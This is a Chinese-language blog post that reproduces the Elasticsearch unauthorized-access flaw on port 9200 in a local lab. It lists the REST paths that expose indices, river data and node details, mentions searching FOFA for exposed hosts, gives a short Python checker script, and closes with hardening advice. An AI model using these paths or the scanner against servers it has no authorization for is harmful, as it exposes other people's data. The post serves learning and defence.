ElasticSearch未授权访问漏洞复现

水深无声 2022-10-14 01:11 1273阅读 0赞

文章目录

      • 漏洞介绍
      • 漏洞原理
      • 影响版本
      • 环境搭建
      • 漏洞复现
        • 第一步 查看安装river
        • 第二步 查看数据库敏感信息
        • 第三步 查看节点数据
        • 第四步 查看安装head插件
        • python未授权访问脚本
      • 修复建议
      • 学习笔记下载
      • 点击 下载—>
        • 下载

漏洞介绍

  • Elasticsearch是一个基于Lucene的搜索服务器。
  • 它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。
  • Elasticsearch是用Java语言开发的,并作为Apache许可条款下的开放源码发布,
  • 是一种流行的企业级搜索引擎。
  • Elasticsearch用于云计算中,能够达到实时搜索,稳定,可靠,快速,安装使用方便

漏洞原理

  • Elasticsearch会默认会在9200端口对外开放,用于提供远程管理数据的功能。
  • 任何连接到服务器端口上的人,都可以调用相关API对服务器上的数据进行任意的增删改查。

影响版本

  • fofa搜索开放了9200端口的IP
    在这里插入图片描述

环境搭建

第一步 下载文件,保证环境中有jdk1.7+

  1. https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-5.5.0.zip

在这里插入图片描述

第二步 解压elasticsearch安装包

在这里插入图片描述

第三步 更改内存大小,否则无法启动

  1. -Xms256m
  2. -Xmx256m

在这里插入图片描述

第四步 进入bin 目录,双击执行 elasticsearch.bat

在这里插入图片描述

第五步 访问http://localhost:9200/,出现以下页面,说明安装成功。

在这里插入图片描述

漏洞复现

第一步 查看安装river

  1. http://localhost:9200/_cat/indices里面的indices包含了_river一般就是安装了river

第二步 查看数据库敏感信息

  1. http://localhost:9200/_river/_search 查看数据库敏感信息

在这里插入图片描述

第三步 查看节点数据

  1. http://localhost:9200/_nodes 查看节点数据

在这里插入图片描述

第四步 查看安装head插件

  1. http://localhost:9200/_plugin/head/ web管理界面

在这里插入图片描述

python未授权访问脚本

  1. #! /usr/bin/env python
  2. # _*_ coding:utf-8 _*_
  3. import requests
  4. def Elasticsearch_check(ip, port=9200, timeout=5):
  5. try:
  6.   url = "http://"+ip+":"+str(port)+"/_cat"
  7.   response = requests.get(url)
  8. except:
  9.   pass
  10. if "/_cat/master" in response.content:
  11.   print '[+] Elasticsearch Unauthorized: ' +ip+':'+str(port)
  12. if __name__ == '__main__':
  13. Elasticsearch_check("127.0.0.1")

修复建议

  • 9200端口不要对外开放,如需开放,建议在安全组限制只允许指定IP才能访问9200端口;
  • 限制IP访问,绑定固定IP
  • 在config/elasticsearch.yml中为9200端口设置认证,相关配置参数可参考:

    http.basic.enabled true #启动认证,开启会接管全部HTTP连接
    http.basic.user “admin” #配置认证账号
    http.basic.password “admin_pw” #配置认证密码
    http.basic.ipwhitelist [“localhost”, “127.0.0.1”]

  • 使用Nginx搭建反向代理,通过配置Nginx实现对Elasticsearch的认证;

在这里插入图片描述

  • linux下修复建议,参考
  • https://www.yuque.com/youfyu/mgusem/htuom3

    学习笔记下载

    在这里插入图片描述

点击 下载–>

下载

发表评论

表情:
评论列表 (有 0 条评论,1273人围观)

还没有评论,来说两句吧...

相关阅读